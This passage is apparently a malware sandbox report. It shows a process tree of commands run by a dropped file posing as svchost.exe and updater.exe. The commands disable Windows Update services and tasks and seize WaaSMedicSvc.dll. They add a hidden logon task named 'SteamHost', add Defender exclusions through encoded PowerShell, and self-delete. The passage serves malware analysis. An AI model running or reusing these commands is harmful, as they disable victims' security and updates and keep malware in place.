                                                                                                          reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
                                                                                                          7⤵
                                                                                                            PID:920
                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                            reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
                                                                                                            7⤵
                                                                                                              PID:3056
                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                              reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
                                                                                                              7⤵
                                                                                                                PID:2384
                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Automatic App Update" /DISABLE
                                                                                                                7⤵
                                                                                                                  PID:4768
                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                  SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Scheduled Start" /DISABLE
                                                                                                                  7⤵
                                                                                                                    PID:2368
                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                    SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sih" /DISABLE
                                                                                                                    7⤵
                                                                                                                      PID:3832
                                                                                                                    • C:\Windows\system32\schtasks.exe
                                                                                                                      SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sihboot" /DISABLE
                                                                                                                      7⤵
                                                                                                                        PID:4156
                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                        SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistant" /DISABLE
                                                                                                                        7⤵
                                                                                                                          PID:4100
                                                                                                                        • C:\Windows\system32\schtasks.exe
                                                                                                                          SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantCalendarRun" /DISABLE
                                                                                                                          7⤵
                                                                                                                            PID:4900
                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                            SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantWakeupRun" /DISABLE
                                                                                                                            7⤵
                                                                                                                              PID:1968
                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                            "C:\Windows\System32\cmd.exe" cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
                                                                                                                            6⤵
                                                                                                                            • Power Settings
                                                                                                                            PID:4100
                                                                                                                            • C:\Windows\system32\powercfg.exe
                                                                                                                              powercfg /x -hibernate-timeout-ac 0
                                                                                                                              7⤵
                                                                                                                              • Power Settings
                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                              PID:3056
                                                                                                                            • C:\Windows\system32\powercfg.exe
                                                                                                                              powercfg /x -hibernate-timeout-dc 0
                                                                                                                              7⤵
                                                                                                                              • Power Settings
                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                              PID:3016
                                                                                                                            • C:\Windows\system32\powercfg.exe
                                                                                                                              powercfg /x -standby-timeout-ac 0
                                                                                                                              7⤵
                                                                                                                              • Power Settings
                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                              PID:3296
                                                                                                                            • C:\Windows\system32\powercfg.exe
                                                                                                                              powercfg /x -standby-timeout-dc 0
                                                                                                                              7⤵
                                                                                                                              • Power Settings
                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                              PID:4156
                                                                                                                          • C:\Windows\System32\conhost.exe
                                                                                                                            C:\Windows\System32\conhost.exe
                                                                                                                            6⤵
                                                                                                                            • Drops file in Windows directory
                                                                                                                            PID:836
                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                            "C:\Windows\System32\cmd.exe" cmd /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "SteamHost" /tr "C:\Users\Admin\Chrome\updater.exe"
                                                                                                                            6⤵
                                                                                                                              PID:4176
                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "SteamHost" /tr "C:\Users\Admin\Chrome\updater.exe"
                                                                                                                                7⤵
                                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                                PID:4556
                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                              "C:\Windows\System32\cmd.exe" cmd /c "C:\Users\Admin\Chrome\updater.exe"
                                                                                                                              6⤵
                                                                                                                                PID:4100
                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                  7⤵
                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                  PID:4608
                                                                                                                                • C:\Users\Admin\Chrome\updater.exe
                                                                                                                                  C:\Users\Admin\Chrome\updater.exe
                                                                                                                                  7⤵
                                                                                                                                  • Executes dropped EXE
                                                                                                                                  PID:1424
                                                                                                                                  • C:\Windows\System32\conhost.exe
                                                                                                                                    "C:\Windows\System32\conhost.exe" "C:\Users\Admin\Chrome\updater.exe"
                                                                                                                                    8⤵
                                                                                                                                    • Drops file in Drivers directory
                                                                                                                                    • Suspicious use of SetThreadContext
                                                                                                                                    PID:1288
                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                      "C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAGUAcwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHkAcAB5ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHoAbwB1AHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAbABxACMAPgA="
                                                                                                                                      9⤵
                                                                                                                                        PID:3704
                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                          10⤵
                                                                                                                                            PID:4996
                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                            powershell -EncodedCommand "PAAjAGUAcwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHkAcAB5ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHoAbwB1AHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAbABxACMAPgA="
                                                                                                                                            10⤵
                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                            PID:2792
                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                          "C:\Windows\System32\cmd.exe" cmd /c sc stop wuauserv & sc stop bits & sc stop dosvc & sc stop UsoSvc & sc stop WaaSMedicSvc & sc config wuauserv start= disabled & sc failure wuauserv reset= 0 actions= "" & sc config bits start= disabled & sc failure bits reset= 0 actions= "" & sc config dosvc start= disabled & sc failure dosvc reset= 0 actions= "" & sc config UsoSvc start= disabled & sc failure UsoSvc reset= 0 actions= "" & sc config wuauserv start= disabled & sc failure wuauserv reset= 0 actions= "" & takeown /f C:\\Windows\\System32\\WaaSMedicSvc.dll & icacls C:\\Windows\\System32\\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename C:\\Windows\\System32\\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f & reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f & reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sih" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sihboot" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantWakeupRun" /DISABLE
                                                                                                                                          9⤵
                                                                                                                                            PID:3788
                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                              10⤵
                                                                                                                                                PID:3832
                                                                                                                                              • C:\Windows\system32\sc.exe
                                                                                                                                                sc stop wuauserv
                                                                                                                                                10⤵
                                                                                                                                                • Launches sc.exe
                                                                                                                                                PID:392
                                                                                                                                              • C:\Windows\system32\sc.exe
                                                                                                                                                sc stop bits
                                                                                                                                                10⤵
                                                                                                                                                • Launches sc.exe
                                                                                                                                                PID:2996
                                                                                                                                              • C:\Windows\system32\sc.exe
                                                                                                                                                sc stop dosvc
                                                                                                                                                10⤵
                                                                                                                                                • Launches sc.exe
                                                                                                                                                PID:1856
                                                                                                                                              • C:\Windows\system32\sc.exe
                                                                                                                                                sc stop UsoSvc
                                                                                                                                                10⤵
                                                                                                                                                • Launches sc.exe
                                                                                                                                                PID:740
                                                                                                                                              • C:\Windows\system32\sc.exe
                                                                                                                                                sc stop WaaSMedicSvc
                                                                                                                                                10⤵
                                                                                                                                                • Launches sc.exe
                                                                                                                                                PID:4528
                                                                                                                                              • C:\Windows\system32\sc.exe
                                                                                                                                                sc config wuauserv start= disabled
                                                                                                                                                10⤵
                                                                                                                                                • Launches sc.exe
                                                                                                                                                PID:4808
                                                                                                                                              • C:\Windows\system32\sc.exe
                                                                                                                                                sc failure wuauserv reset= 0 actions= ""
                                                                                                                                                10⤵
                                                                                                                                                • Launches sc.exe
                                                                                                                                                PID:1984
                                                                                                                                              • C:\Windows\system32\sc.exe
                                                                                                                                                sc config bits start= disabled
                                                                                                                                                10⤵
                                                                                                                                                • Launches sc.exe
                                                                                                                                                PID:5032
                                                                                                                                              • C:\Windows\system32\sc.exe
                                                                                                                                                sc failure bits reset= 0 actions= ""
                                                                                                                                                10⤵
                                                                                                                                                • Launches sc.exe
                                                                                                                                                PID:4508
                                                                                                                                              • C:\Windows\system32\sc.exe
                                                                                                                                                sc config dosvc start= disabled
                                                                                                                                                10⤵
                                                                                                                                                • Launches sc.exe
                                                                                                                                                PID:4900
                                                                                                                                              • C:\Windows\system32\sc.exe
                                                                                                                                                sc failure dosvc reset= 0 actions= ""
                                                                                                                                                10⤵
                                                                                                                                                • Launches sc.exe
                                                                                                                                                PID:2356
                                                                                                                                              • C:\Windows\system32\sc.exe
                                                                                                                                                sc config UsoSvc start= disabled
                                                                                                                                                10⤵
                                                                                                                                                • Launches sc.exe
                                                                                                                                                PID:4256
                                                                                                                                              • C:\Windows\system32\sc.exe
                                                                                                                                                sc failure UsoSvc reset= 0 actions= ""
                                                                                                                                                10⤵
                                                                                                                                                • Launches sc.exe
                                                                                                                                                PID:3296
                                                                                                                                              • C:\Windows\system32\sc.exe
                                                                                                                                                sc config wuauserv start= disabled
                                                                                                                                                10⤵
                                                                                                                                                • Launches sc.exe
                                                                                                                                                PID:3972
                                                                                                                                              • C:\Windows\system32\sc.exe
                                                                                                                                                sc failure wuauserv reset= 0 actions= ""
                                                                                                                                                10⤵
                                                                                                                                                • Launches sc.exe
                                                                                                                                                PID:3376
                                                                                                                                              • C:\Windows\system32\takeown.exe
                                                                                                                                                takeown /f C:\\Windows\\System32\\WaaSMedicSvc.dll
                                                                                                                                                10⤵
                                                                                                                                                • Possible privilege escalation attempt
                                                                                                                                                • Modifies file permissions
                                                                                                                                                PID:1092
                                                                                                                                              • C:\Windows\system32\icacls.exe
                                                                                                                                                icacls C:\\Windows\\System32\\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
                                                                                                                                                10⤵
                                                                                                                                                • Possible privilege escalation attempt
                                                                                                                                                • Modifies file permissions
                                                                                                                                                PID:3996
                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
                                                                                                                                                10⤵
                                                                                                                                                  PID:920
                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                  reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
                                                                                                                                                  10⤵
                                                                                                                                                    PID:1196
                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                    reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AUOptions /d 2 /t REG_DWORD /f
                                                                                                                                                    10⤵
                                                                                                                                                      PID:2284
                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                      reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
                                                                                                                                                      10⤵
                                                                                                                                                        PID:2248
                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                        reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
                                                                                                                                                        10⤵
                                                                                                                                                          PID:1804
                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                          reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
                                                                                                                                                          10⤵
                                                                                                                                                            PID:1208
                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                            SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Automatic App Update" /DISABLE
                                                                                                                                                            10⤵
                                                                                                                                                              PID:4964
                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                              SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Scheduled Start" /DISABLE
                                                                                                                                                              10⤵
                                                                                                                                                                PID:2336
                                                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                                                SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sih" /DISABLE
                                                                                                                                                                10⤵
                                                                                                                                                                  PID:3060
                                                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                                                  SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sihboot" /DISABLE
                                                                                                                                                                  10⤵
                                                                                                                                                                    PID:3680
                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                    SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistant" /DISABLE
                                                                                                                                                                    10⤵
                                                                                                                                                                      PID:5072
                                                                                                                                                                    • C:\Windows\system32\schtasks.exe
                                                                                                                                                                      SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantCalendarRun" /DISABLE
                                                                                                                                                                      10⤵
                                                                                                                                                                        PID:2608
                                                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                                                        SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantWakeupRun" /DISABLE
                                                                                                                                                                        10⤵
                                                                                                                                                                          PID:3972
                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                        "C:\Windows\System32\cmd.exe" cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
                                                                                                                                                                        9⤵
                                                                                                                                                                        • Power Settings
                                                                                                                                                                        PID:380
                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                          10⤵
                                                                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                                                                          PID:1608
                                                                                                                                                                        • C:\Windows\system32\powercfg.exe
                                                                                                                                                                          powercfg /x -hibernate-timeout-ac 0
                                                                                                                                                                          10⤵
                                                                                                                                                                          • Power Settings
                                                                                                                                                                          PID:4840
                                                                                                                                                                        • C:\Windows\system32\powercfg.exe
                                                                                                                                                                          powercfg /x -hibernate-timeout-dc 0
                                                                                                                                                                          10⤵
                                                                                                                                                                          • Power Settings
                                                                                                                                                                          PID:3600
                                                                                                                                                                        • C:\Windows\system32\powercfg.exe
                                                                                                                                                                          powercfg /x -standby-timeout-ac 0
                                                                                                                                                                          10⤵
                                                                                                                                                                          • Power Settings
                                                                                                                                                                          PID:4248
                                                                                                                                                                        • C:\Windows\system32\powercfg.exe
                                                                                                                                                                          powercfg /x -standby-timeout-dc 0
                                                                                                                                                                          10⤵
                                                                                                                                                                          • Power Settings
                                                                                                                                                                          PID:2736
                                                                                                                                                                      • C:\Windows\System32\conhost.exe
                                                                                                                                                                        C:\Windows\System32\conhost.exe
                                                                                                                                                                        9⤵
                                                                                                                                                                          PID:2500
                                                                                                                                                                          • C:\Windows\System32\conhost.exe
                                                                                                                                                                            "C:\Windows\System32\conhost.exe" "sjrcqeodaodte"
                                                                                                                                                                            10⤵
                                                                                                                                                                              PID:216
                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                      "C:\Windows\System32\cmd.exe" cmd /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
                                                                                                                                                                      6⤵
                                                                                                                                                                        PID:1820
                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                          7⤵
                                                                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                                                                          PID:3392
                                                                                                                                                                        • C:\Windows\system32\choice.exe
                                                                                                                                                                          choice /C Y /N /D Y /T 3
                                                                                                                                                                          7⤵
                                                                                                                                                                            PID:4428
                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                    cmd /c start C:\Users\Admin\AppData\Local\Temp\svchost.exe
                                                                                                                                                                    3⤵
                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                                                                                    PID:3600
                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\svchost.exe
                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\svchost.exe
                                                                                                                                                                      4⤵
                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                      • Suspicious use of WriteProcessMemory
                                                                                                                                                                      PID:2012
                                                                                                                                                                      • C:\Windows\System32\conhost.exe
                                                                                                                                                                        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
                                                                                                                                                                        5⤵
                                                                                                                                                                        • Drops file in Drivers directory
                                                                                                                                                                        • Suspicious use of SetThreadContext
                                                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                                                                                        PID:4308
                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                          "C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAGUAcwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHkAcAB5ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHoAbwB1AHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAbABxACMAPgA="
                                                                                                                                                                          6⤵
                                                                                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                                                                                          PID:1432
                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                            powershell -EncodedCommand "PAAjAGUAcwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHkAcAB5ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHoAbwB1AHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAbABxACMAPgA="
                                                                                                                                                                            7⤵
                                                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                            PID:2440
                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                          "C:\Windows\System32\cmd.exe" cmd /c sc stop wuauserv & sc stop bits & sc stop dosvc & sc stop UsoSvc & sc stop WaaSMedicSvc & sc config wuauserv start= disabled & sc failure wuauserv reset= 0 actions= "" & sc config bits start= disabled & sc failure bits reset= 0 actions= "" & sc config dosvc start= disabled & sc failure dosvc reset= 0 actions= "" & sc config UsoSvc start= disabled & sc failure UsoSvc reset= 0 actions= "" & sc config wuauserv start= disabled & sc failure wuauserv reset= 0 actions= "" & takeown /f C:\\Windows\\System32\\WaaSMedicSvc.dll & icacls C:\\Windows\\System32\\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename C:\\Windows\\System32\\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f & reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f & reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sih" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sihboot" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantWakeupRun" /DISABLE
                                                                                                                                                                          6⤵
                                                                                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                                                                                          PID:1468
                                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                                            sc stop wuauserv
                                                                                                                                                                            7⤵
                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                            PID:1656
                                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                                            sc stop bits
                                                                                                                                                                            7⤵
                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                            PID:1048
                                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                                            sc stop dosvc
                                                                                                                                                                            7⤵
                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                            PID:3856
                                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                                            sc stop UsoSvc
                                                                                                                                                                            7⤵
                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                            PID:3048
                                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                                            sc stop WaaSMedicSvc
                                                                                                                                                                            7⤵
                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                            PID:2400
                                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                                            sc config wuauserv start= disabled
                                                                                                                                                                            7⤵
                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                            PID:4736
                                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                                            sc failure wuauserv reset= 0 actions= ""
                                                                                                                                                                            7⤵
                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                            PID:1076
                                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                                            sc config bits start= disabled
                                                                                                                                                                            7⤵
                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                            PID:1932
                                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                                            sc failure bits reset= 0 actions= ""
                                                                                                                                                                            7⤵
                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                            PID:3428
                                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                                            sc config dosvc start= disabled
                                                                                                                                                                            7⤵
                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                            PID:2572
                                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                                            sc failure dosvc reset= 0 actions= ""
                                                                                                                                                                            7⤵
                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                            PID:4900
                                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                                            sc config UsoSvc start= disabled
                                                                                                                                                                            7⤵
                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                            PID:1564
                                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                                            sc failure UsoSvc reset= 0 actions= ""
                                                                                                                                                                            7⤵
                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                            PID:1632
                                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                                            sc config wuauserv start= disabled
                                                                                                                                                                            7⤵
                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                            PID:1424
                                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                                            sc failure wuauserv reset= 0 actions= ""
                                                                                                                                                                            7⤵
                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                            PID:4168
                                                                                                                                                                          • C:\Windows\system32\takeown.exe
                                                                                                                                                                            takeown /f C:\\Windows\\System32\\WaaSMedicSvc.dll
                                                                                                                                                                            7⤵
                                                                                                                                                                            • Possible privilege escalation attempt
                                                                                                                                                                            • Modifies file permissions
                                                                                                                                                                            PID:1208
                                                                                                                                                                          • C:\Windows\system32\icacls.exe
                                                                                                                                                                            icacls C:\\Windows\\System32\\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
                                                                                                                                                                            7⤵
                                                                                                                                                                            • Possible privilege escalation attempt
                                                                                                                                                                            • Modifies file permissions
                                                                                                                                                                            PID:4016
                                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                                            reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
                                                                                                                                                                            7⤵
                                                                                                                                                                              PID:1760
                                                                                                                                                                            • C:\Windows\system32\reg.exe
